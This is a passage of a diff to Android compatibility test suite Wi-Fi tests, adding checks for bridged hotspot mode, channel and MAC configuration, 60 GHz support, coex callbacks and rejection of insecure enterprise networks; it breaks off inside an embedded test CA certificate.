+            PollingCheck.check(
+                    "SoftAp state and info on bridged AP mode are mismatch!!!"
+                    + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+                    + ", isEnabled = "  + isEnabled, 5_000,
+                    () -> {
+                        executor.runAll();
+                        int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+                                : WifiManager.WIFI_AP_STATE_DISABLED;
+                        int expectedInfoSize = isEnabled
+                                ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+                        return expectedState == callback.getCurrentState()
+                                && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+                    });
+    }
+
+    private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+        for (int band : bands) {
+            if (capability.getSupportedChannelList(band).length == 0) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private SparseIntArray getAvailableBandAndChannelForTesting(SoftApCapability capability) {
+        final int[] bands = {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ,
+              SoftApConfiguration.BAND_6GHZ, SoftApConfiguration.BAND_60GHZ};
+        SparseIntArray testBandsAndChannels = new SparseIntArray();
+        if (!BuildCompat.isAtLeastS()) {
+            testBandsAndChannels.put(SoftApConfiguration.BAND_2GHZ, 1);
+            return testBandsAndChannels;
+        }
+        for (int band : bands) {
+            int[] supportedList = capability.getSupportedChannelList(band);
+            if (supportedList.length != 0) {
+                testBandsAndChannels.put(band, supportedList[0]);
+            }
+        }
+        return testBandsAndChannels;
+    }
+
+
+    /**
+     * Test bridged AP enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedAp() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+            int[] testBands = {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ};
+            // Test bridged SoftApConfiguration set and get (setBands)
+            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                    .setBands(testBands)
+                    .build();
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testBands,
+                    callback.getCurrentSoftApCapability());
+            verifySetGetSoftApConfig(testSoftApConfig);
+
+            // start tethering which used to verify startTetheredHotspot
+            mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                new TetheringManager.StartTetheringCallback() {
+                    @Override
+                    public void onTetheringFailed(final int result) {
+                    }
+                });
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, true /* enabled */);
+            // stop tethering which used to verify stopSoftAp
+            mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, false /* disabled */);
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test bridged AP with forced channel config enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+                    new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+                    callback.getCurrentSoftApCapability());
+
+            // Test when there are supported channels in both of the bands.
+            if (!shouldFallbackToSingleAp) {
+                // Test bridged SoftApConfiguration set and get (setChannels)
+                SparseIntArray dual_channels = new SparseIntArray(2);
+                dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+                dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+                SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                        .setSsid(TEST_SSID_UNQUOTED)
+                        .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                        .setChannels(dual_channels)
+                        .build();
+
+                verifySetGetSoftApConfig(testSoftApConfig);
+
+                // start tethering which used to verify startTetheredHotspot
+                mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                    new TetheringManager.StartTetheringCallback() {
+                        @Override
+                        public void onTetheringFailed(final int result) {
+                        }
+                    });
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, true /* enabled */);
+                // stop tethering which used to verify stopSoftAp
+                mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, false /* disabled */);
+            }
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verify that the configuration from getSoftApConfiguration is same as the configuration which
      * set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1613,16 +1923,30 @@
 
             SoftApConfiguration.Builder softApConfigBuilder = new SoftApConfiguration.Builder()
                     .setSsid(TEST_SSID_UNQUOTED)
-                    .setBssid(TEST_MAC)
                     .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
                     .setAutoShutdownEnabled(true)
                     .setShutdownTimeoutMillis(100000)
-                    .setBand(SoftApConfiguration.BAND_2GHZ | SoftApConfiguration.BAND_5GHZ)
+                    .setBand(getAvailableBandAndChannelForTesting(
+                            callback.getCurrentSoftApCapability()).keyAt(0))
                     .setHiddenSsid(false);
 
             // Test SoftApConfiguration set and get
             verifySetGetSoftApConfig(softApConfigBuilder.build());
 
+            boolean isSupportCustomizedMac = callback.getCurrentSoftApCapability()
+                        .areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+
+            //Test MAC_ADDRESS_CUSTOMIZATION supported config
+            if (isSupportCustomizedMac) {
+                softApConfigBuilder.setBssid(TEST_MAC)
+                        .setMacRandomizationSetting(SoftApConfiguration.RANDOMIZATION_NONE);
+
+                // Test SoftApConfiguration set and get
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
+
             // Test CLIENT_FORCE_DISCONNECT supported config.
             if (callback.getCurrentSoftApCapability()
                     .areFeaturesSupported(
@@ -1646,6 +1970,13 @@
                         SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
                 verifySetGetSoftApConfig(softApConfigBuilder.build());
             }
+
+            // Test 11 AX control config.
+            if (callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+                softApConfigBuilder.setIeee80211axEnabled(true);
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
         } finally {
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
@@ -1678,11 +2009,25 @@
             turnOffWifiAndTetheredHotspotIfEnabled();
             verifyRegisterSoftApCallback(executor, callback);
 
-            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+            SparseIntArray testBandsAndChannels = getAvailableBandAndChannelForTesting(
+                    callback.getCurrentSoftApCapability());
+
+            if (BuildCompat.isAtLeastS()) {
+                assertNotEquals(0, testBandsAndChannels.size());
+            }
+            boolean isSupportCustomizedMac = callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(
+                    SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+
+            SoftApConfiguration.Builder testSoftApConfigBuilder = new SoftApConfiguration.Builder()
                     .setSsid(TEST_SSID_UNQUOTED)
                     .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
-                    .setChannel(11, SoftApConfiguration.BAND_2GHZ) // Channel 11 = Freq 2462
-                    .build();
+                    .setChannel(testBandsAndChannels.valueAt(0), testBandsAndChannels.keyAt(0));
+
+            if (isSupportCustomizedMac) testSoftApConfigBuilder.setBssid(TEST_MAC);
+
+            SoftApConfiguration testSoftApConfig = testSoftApConfigBuilder.build();
 
             mWifiManager.setSoftApConfiguration(testSoftApConfig);
 
@@ -1699,11 +2044,20 @@
                     "SoftAp channel and state mismatch!!!", 5_000,
                     () -> {
                         executor.runAll();
+                        int sapChannel = ScanResult.convertFrequencyMhzToChannel(
+                                callback.getCurrentSoftApInfo().getFrequency());
                         return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
-                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
-                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
+                                && testBandsAndChannels.valueAt(0) == sapChannel;
                     });
-
+            // After Soft Ap enabled, check SoftAp info
+            if (isSupportCustomizedMac) {
+                assertEquals(callback.getCurrentSoftApInfo().getBssid(), TEST_MAC);
+            }
+            if (PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S)) {
+                assertNotEquals(callback.getCurrentSoftApInfo().getWifiStandard(),
+                        ScanResult.WIFI_STANDARD_UNKNOWN);
+            }
+        } finally {
             // stop tethering which used to verify stopSoftAp
             mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
 
@@ -1716,7 +2070,11 @@
                                 0 == callback.getCurrentSoftApInfo().getBandwidth() &&
                                 0 == callback.getCurrentSoftApInfo().getFrequency();
                     });
-        } finally {
+            if (BuildCompat.isAtLeastS()) {
+                assertEquals(callback.getCurrentSoftApInfo().getBssid(), null);
+                assertEquals(ScanResult.WIFI_STANDARD_UNKNOWN,
+                        callback.getCurrentSoftApInfo().getWifiStandard());
+            }
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
         }
@@ -2017,6 +2375,7 @@
     /**
      * Tests {@link WifiManager#getFactoryMacAddresses()} returns at least one valid MAC address.
      */
+    @VirtualDeviceNotSupported
     public void testGetFactoryMacAddresses() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -2397,6 +2756,32 @@
     }
 
     /**
+     * Verify that startTemporarilyDisablingAllNonCarrierMergedWifi disconnects wifi and disables
+     * autoconnect to non-carrier-merged networks. Then verify that
+     * stopTemporarilyDisablingAllNonCarrierMergedWifi makes the disabled networks clear to connect
+     * again.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testStartAndStopTemporarilyDisablingAllNonCarrierMergedWifi() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        startScan();
+        waitForConnection();
+        int fakeSubscriptionId = 5;
+        ShellIdentityUtils.invokeWithShellPermissions(() ->
+                mWifiManager.startTemporarilyDisablingAllNonCarrierMergedWifi(fakeSubscriptionId));
+        startScan();
+        ensureNotConnected();
+        ShellIdentityUtils.invokeWithShellPermissions(() ->
+                mWifiManager.stopTemporarilyDisablingAllNonCarrierMergedWifi());
+        startScan();
+        waitForConnection();
+    }
+
+    /**
      * Test that the wifi country code is either null, or a length-2 string.
      */
     public void testGetCountryCode() throws Exception {
@@ -2586,6 +2971,41 @@
     }
 
     /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} returns successfully in
+     * both Wifi enabled/disabled states.
+     * Note that the response depends on device support and hence both true/false
+     * are valid responses.
+     */
+    public void testIs60GhzBandSupported() throws Exception {
+        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // Check for 60GHz support with wifi enabled
+        setWifiEnabled(true);
+        PollingCheck.check(
+                "Wifi not enabled!",
+                20000,
+                () -> mWifiManager.isWifiEnabled());
+        boolean isSupportedEnabled = mWifiManager.is60GHzBandSupported();
+
+        // Check for 60GHz support with wifi disabled
+        setWifiEnabled(false);
+        PollingCheck.check(
+                "Wifi not disabled!",
+                20000,
+                () -> !mWifiManager.isWifiEnabled());
+        boolean isSupportedDisabled = mWifiManager.is60GHzBandSupported();
+
+        // If Support is true when WiFi is disable, then it has to be true when it is enabled.
+        // Note, the reverse is a valid case.
+        if (isSupportedDisabled) {
+            assertTrue(isSupportedEnabled);
+        }
+    }
+
+    /**
      * Test that {@link WifiManager#isWifiStandardSupported()} returns successfully in
      * both Wifi enabled/disabled states. The test is to be performed on
      * {@link WifiAnnotations}'s {@code WIFI_STANDARD_}
@@ -2814,6 +3234,51 @@
     }
 
     /**
+     * Verify WifiNetworkSuggestion.Builder.setIsEnhancedMacRandomizationEnabled(true) creates a
+     * WifiConfiguration with macRandomizationSetting == RANDOMIZATION_ENHANCED.
+     * Then verify by default, a WifiConfiguration created by suggestions should have
+     * macRandomizationSetting == RANDOMIZATION_PERSISTENT.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSuggestionBuilderEnhancedMacRandomizationSetting() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiNetworkSuggestion suggestion = new WifiNetworkSuggestion.Builder()
+                .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
+                .setIsEnhancedMacRandomizationEnabled(true)
+                .build();
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
+                mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)));
+        verifySuggestionFoundWithMacRandomizationSetting(TEST_SSID,
+                WifiConfiguration.RANDOMIZATION_ENHANCED);
+
+        suggestion = new WifiNetworkSuggestion.Builder()
+                .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
+                .build();
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
+                mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)));
+        verifySuggestionFoundWithMacRandomizationSetting(TEST_SSID,
+                WifiConfiguration.RANDOMIZATION_PERSISTENT);
+    }
+
+    private void verifySuggestionFoundWithMacRandomizationSetting(String ssid,
+            int macRandomizationSetting) {
+        List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
+        for (WifiNetworkSuggestion entry : retrievedSuggestions) {
+            if (entry.getSsid().equals(ssid)) {
+                assertEquals(macRandomizationSetting,
+                        entry.getWifiConfiguration().macRandomizationSetting);
+                return; // pass test after the MAC randomization setting is verified.
+            }
+        }
+        fail("WifiNetworkSuggestion not found for SSID=" + ssid + ", macRandomizationSetting="
+                + macRandomizationSetting);
+    }
+
+    /**
      * Tests {@link WifiManager#getWifiConfigForMatchedNetworkSuggestionsSharedWithUser(List)}
      */
     public void testGetAllWifiConfigForMatchedNetworkSuggestion() {
@@ -3032,6 +3497,17 @@
     }
 
     /**
+     * Tests {@link WifiManager#isWpa3ApValidationSupported()} does not crash.
+     */
+    public void testIsWpa3ApValidationSupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isWpa3ApValidationSupported();
+    }
+
+    /**
      * Tests {@link WifiManager#isP2pSupported()} returns true
      * if this device supports it, otherwise, ensure no crash.
      */
@@ -3051,6 +3527,17 @@
 
     }
 
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion?
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsMultiStaConcurrencySupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // ensure no crash.
+        mWifiManager.isStaApConcurrencySupported();
+    }
+
     private PasspointConfiguration getTargetPasspointConfiguration(
             List<PasspointConfiguration> configurationList, String uniqueId) {
         if (configurationList == null || configurationList.isEmpty()) {
@@ -3063,4 +3550,238 @@
         }
         return null;
     }
+
+    /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} throws UnsupportedOperationException
+     * if the release is older than S.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization before changing
+    // to `maxSdkVersion = Build.VERSION_CODES.R`
+    @SdkSuppress(maxSdkVersion = -1, codeName = "REL")
+    public void testIs60GhzBandSupportedOnROrOlder() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // check for 60ghz support with wifi enabled
+        try {
+            boolean isSupported = mWifiManager.is60GHzBandSupported();
+            fail("Expected UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {
+        }
+
+    }
+
+    /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} returns successfully in
+     * both Wifi enabled/disabled states for release newer than R.
+     * Note that the response depends on device support and hence both true/false
+     * are valid responses.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIs60GhzBandSupportedOnSOrNewer() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // check for 60ghz support with wifi enabled
+        boolean isSupportedWhenWifiEnabled = mWifiManager.is60GHzBandSupported();
+
+        // Check for 60GHz support with wifi disabled
+        setWifiEnabled(false);
+        PollingCheck.check(
+                "Wifi not disabled!",
+                20000,
+                () -> !mWifiManager.isWifiEnabled());
+        boolean isSupportedWhenWifiDisabled = mWifiManager.is60GHzBandSupported();
+
+        // If Support is true when WiFi is disable, then it has to be true when it is enabled.
+        // Note, the reverse is a valid case.
+        if (isSupportedWhenWifiDisabled) {
+            assertTrue(isSupportedWhenWifiEnabled);
+        }
+    }
+
+    public class TestCoexCallback extends WifiManager.CoexCallback {
+        private Object mCoexLock;
+        private int mOnCoexUnsafeChannelChangedCount;
+
+        TestCoexCallback(Object lock) {
+            mCoexLock = lock;
+        }
+
+        @Override
+        public void onCoexUnsafeChannelsChanged() {
+            synchronized (mCoexLock) {
+                mOnCoexUnsafeChannelChangedCount++;
+                mCoexLock.notify();
+            }
+        }
+
+        public int getOnCoexUnsafeChannelChangedCount() {
+            synchronized (mCoexLock) {
+                return mOnCoexUnsafeChannelChangedCount;
+            }
+        }
+    }
+
+    /**
+     * Test that coex-related methods fail without the needed privileged permissions
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testCoexMethodsShouldFailNoPermission() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        try {
+            mWifiManager.setCoexUnsafeChannels(Collections.emptySet(), 0);
+            fail("setCoexUnsafeChannels should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mWifiManager.getCoexUnsafeChannels();
+            fail("getCoexUnsafeChannels should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        final TestCoexCallback callback = new TestCoexCallback(mLock);
+        try {
+            mWifiManager.registerCoexCallback(mExecutor, callback);
+            fail("registerCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mWifiManager.unregisterCoexCallback(callback);
+            fail("unregisterCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Test that coex-related methods succeed in setting the current unsafe channels and notifying
+     * the listener. Since the default coex algorithm may be enabled, no-op is also valid behavior.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testListenOnCoexUnsafeChannels() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Set<CoexUnsafeChannel> prevUnsafeChannels = null;
+        int prevRestrictions = -1;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Save the current state to reset after the test.
+            prevUnsafeChannels = mWifiManager.getCoexUnsafeChannels();
+            prevRestrictions = mWifiManager.getCoexRestrictions();
+
+            // Register callback
+            final TestCoexCallback callback = new TestCoexCallback(mLock);
+            mWifiManager.registerCoexCallback(mExecutor, callback);
+            Set<CoexUnsafeChannel> unsafeChannels = new HashSet<>();
+            unsafeChannels.add(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 6));
+            final int restrictions = COEX_RESTRICTION_WIFI_DIRECT | COEX_RESTRICTION_SOFTAP
+                    | COEX_RESTRICTION_WIFI_AWARE;
+
+            synchronized (mLock) {
+                try {
+                    mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+                    // Callback should be called if the default algorithm is disabled.
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                    mWifiManager.unregisterCoexCallback(callback);
+                    mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+                    // Callback should not be called here since it was unregistered.
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                } catch (InterruptedException e) {
+                    fail("Thread interrupted unexpectedly while waiting on mLock");
+                }
+            }
+
+            if (callback.getOnCoexUnsafeChannelChangedCount() == 0) {
+                // Default algorithm enabled, setter should have done nothing
+                assertEquals(prevUnsafeChannels, mWifiManager.getCoexUnsafeChannels());
+                assertEquals(prevRestrictions, mWifiManager.getCoexRestrictions());
+            } else if (callback.getOnCoexUnsafeChannelChangedCount() == 1) {
+                // Default algorithm disabled, setter should set the getter values.
+                assertEquals(unsafeChannels, mWifiManager.getCoexUnsafeChannels());
+                assertEquals(restrictions, mWifiManager.getCoexRestrictions());
+            } else {
+                fail("Coex callback called " + callback.mOnCoexUnsafeChannelChangedCount
+                        + " times. Expected 0 or 1 calls." );
+            }
+        } finally {
+            // Reset the previous unsafe channels if we overrode them.
+            if (prevRestrictions != -1) {
+                mWifiManager.setCoexUnsafeChannels(prevUnsafeChannels, prevRestrictions);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfiguration wifiConfiguration = new WifiConfiguration();
+        wifiConfiguration.SSID = SSID1;
+        wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+        int networkId = INVALID_NETWORK_ID;
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // Verify that an insecure network is rejected
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+            // Now configure it correctly with a Root CA cert and domain name
+            wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+            // Verify that the network is added
+            networkId = mWifiManager.addNetwork(wifiConfiguration);
+            assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+            // Verify that the update API accepts configurations configured securely
+            wifiConfiguration.networkId = networkId;
+            assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+            // Now clear the security configuration
+            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+            // Verify that the update API rejects insecure configurations
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+        } finally {
+            if (networkId != INVALID_NETWORK_ID) {
+                // Clean up the previously added network
+                mWifiManager.removeNetwork(networkId);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index bdbc699..d819f2c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,6 +16,7 @@
 
 package android.net.wifi.cts;
 
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
@@ -49,6 +50,7 @@
 import android.support.test.uiautomator.UiDevice;
 import android.text.TextUtils;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -64,6 +66,16 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 import java.util.concurrent.Executors;
 
@@ -73,7 +85,6 @@
  * ConnectivityManager.NetworkCallback)}.
  *
  * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
@@ -81,6 +92,99 @@
 public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
     private static final String TAG = "WifiNetworkSpecifierTest";
 
+    private static final String CA_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIICTzCCAdSgAwIBAgIUdnLttwNPnQzFufplGOr9bTrGCqMwCgYIKoZIzj0EAwMw\n"
+                    + "XjELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNV\n"
+                    + "BAoMB0FuZHJvaWQxDjAMBgNVBAsMBVdpLUZpMRIwEAYDVQQDDAl1bml0ZXN0Q0Ew\n"
+                    + "HhcNMjAwNzIxMDIyNDA1WhcNMzAwNTMwMDIyNDA1WjBeMQswCQYDVQQGEwJVUzEL\n"
+                    + "MAkGA1UECAwCQ0ExDDAKBgNVBAcMA01UVjEQMA4GA1UECgwHQW5kcm9pZDEOMAwG\n"
+                    + "A1UECwwFV2ktRmkxEjAQBgNVBAMMCXVuaXRlc3RDQTB2MBAGByqGSM49AgEGBSuB\n"
+                    + "BAAiA2IABFmntXwk9icqhDQFUP1xy04WyEpaGW4q6Q+8pujlSl/X3iotPZ++GZfp\n"
+                    + "Mfv3YDHDBl6sELPQ2BEjyPXmpsKjOUdiUe69e88oGEdeqT2xXiQ6uzpTfJD4170i\n"
+                    + "O/TwLrQGKKNTMFEwHQYDVR0OBBYEFCjptsX3g4g5W0L4oEP6N3gfyiZXMB8GA1Ud\n"
+                    + "IwQYMBaAFCjptsX3g4g5W0L4oEP6N3gfyiZXMA8GA1UdEwEB/wQFMAMBAf8wCgYI\n"
+                    + "KoZIzj0EAwMDaQAwZgIxAK61brUYRbLmQKiaEboZgrHtnPAcGo7Yzx3MwHecx3Dm\n"
+                    + "5soIeLVYc8bPYN1pbhXW1gIxALdEe2sh03nBHyQH4adYoZungoCwt8mp/7sJFxou\n"
+                    + "9UnRegyBgGzf74ROWdpZHzh+Pg==\n"
